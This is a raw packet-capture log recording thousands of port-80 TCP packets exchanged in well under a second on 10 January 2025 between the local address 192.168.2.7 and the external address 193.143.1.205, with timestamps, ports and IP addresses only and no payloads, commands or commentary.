Jan 10, 2025 20:18:25.229193926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229202986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229212046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229227066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229234934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229248047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229263067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229302883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229319096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229336977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229340076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229362011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229368925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229378939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229396105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229413033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229420900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229427099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229448080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229449034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229471922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229481936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229487896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229504108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229520082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229522943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229540110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229566097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229582071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229598045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229619026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229624987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229639053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229656935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229665041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229671001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229686975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229693890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229724884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229756117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229780912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229798079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229814053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229820013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229831934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229846954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229850054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229882002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229895115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230046988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230062008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230081081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230083942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.230097055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230113029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230117083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.230129004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230144978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230149031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.230159998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230176926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230179071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.230195045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230210066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230211973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.230226994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230253935 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.230302095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230317116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230331898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230338097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.230349064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230365038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230371952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.230381012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230400085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230405092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.230412960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230432034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230434895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.230451107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230463028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.230463028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.230494022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.237207890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.241358042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241377115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241395950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241413116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241424084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.241429090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241465092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.241471052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241508007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.241533041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241548061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241570950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241585016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.241586924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241604090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241619110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.241619110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241636992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241676092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.241803885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241821051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241835117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241847992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.241858006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241868019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.241873026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241889954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241908073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241914034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.241924047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241940022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.241949081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.241980076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.261806011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.268142939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.268162966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.268188953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.268223047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.268342972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.268359900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.268376112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.268383980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.268392086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.268420935 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.268429041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.268443108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.268460035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.268467903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.268476009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.268491983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.268502951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.268506050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.268522978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.268532038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.268536091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.268568039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.279494047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.294781923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.294809103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.294833899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.294841051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.294848919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.294867039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.294872999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.294882059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.294899940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.294918060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.294949055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.296888113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.296983957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.296999931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.297032118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.297054052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.297058105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.297070026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.297090054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.297097921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.297122002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.297136068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.297137022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.297152996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.297171116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.297179937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.297189951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.297208071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.297210932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.297224998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.297240019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.297247887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.297276020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.305079937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.318583012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.318708897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.318725109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.318742990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.318748951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.318758011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.318775892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.318778992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.318792105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.318815947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319025040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319051981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319076061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319077969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319094896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319112062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319124937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319144011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319150925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319180012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319217920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319297075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319365978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319380999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319400072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319411993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319427013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319443941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319452047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319458961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319483042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319485903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319500923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319518089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319523096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319531918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319550037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319566965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319571018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319583893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319592953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319608927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319623947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319631100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319648981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319664955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319674015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319680929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319704056 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319714069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319739103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319756031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319756031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319772959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319792986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319801092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319808006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319825888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319828033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319845915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319864988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319868088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319879055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319905043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319911957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319925070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319947958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.319950104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319964886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319979906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.319996119 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.320007086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.320019960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.320027113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.320043087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.320058107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.320072889 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.320096016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.320137024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.320152044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.320168018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.320183992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.320194006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.320199966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.320220947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.320305109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.320321083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.320336103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.320344925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.320352077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.320368052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.320382118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.320389032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.320399046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.320408106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.320436001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.323015928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.331639051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331671000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331686974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331703901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331718922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331724882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.331734896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331763983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331763983 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.331779003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.331789970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331805944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331824064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331835985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.331840038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331856966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331866026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.331872940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331888914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331892967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.331908941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331924915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331933022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.331944942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331959009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.331964016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331981897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.331996918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.332000971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.332014084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.332040071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.358027935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.358072996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.358107090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.358124018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.358139038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.358160973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.358165026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.358181000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.358197927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.358208895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.358215094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.358232975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.358242035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.358252048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.358273983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.358288050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.358302116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.358314037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.358318090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.358336926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.358355045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.375420094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.384130955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.387005091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.387037992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.387059927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.387061119 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.387077093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.387094021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.387111902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.387120008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.387131929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.387144089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.387150049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.387168884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.387170076 CET	80	49699	193.143.1.205	192.168.2.7
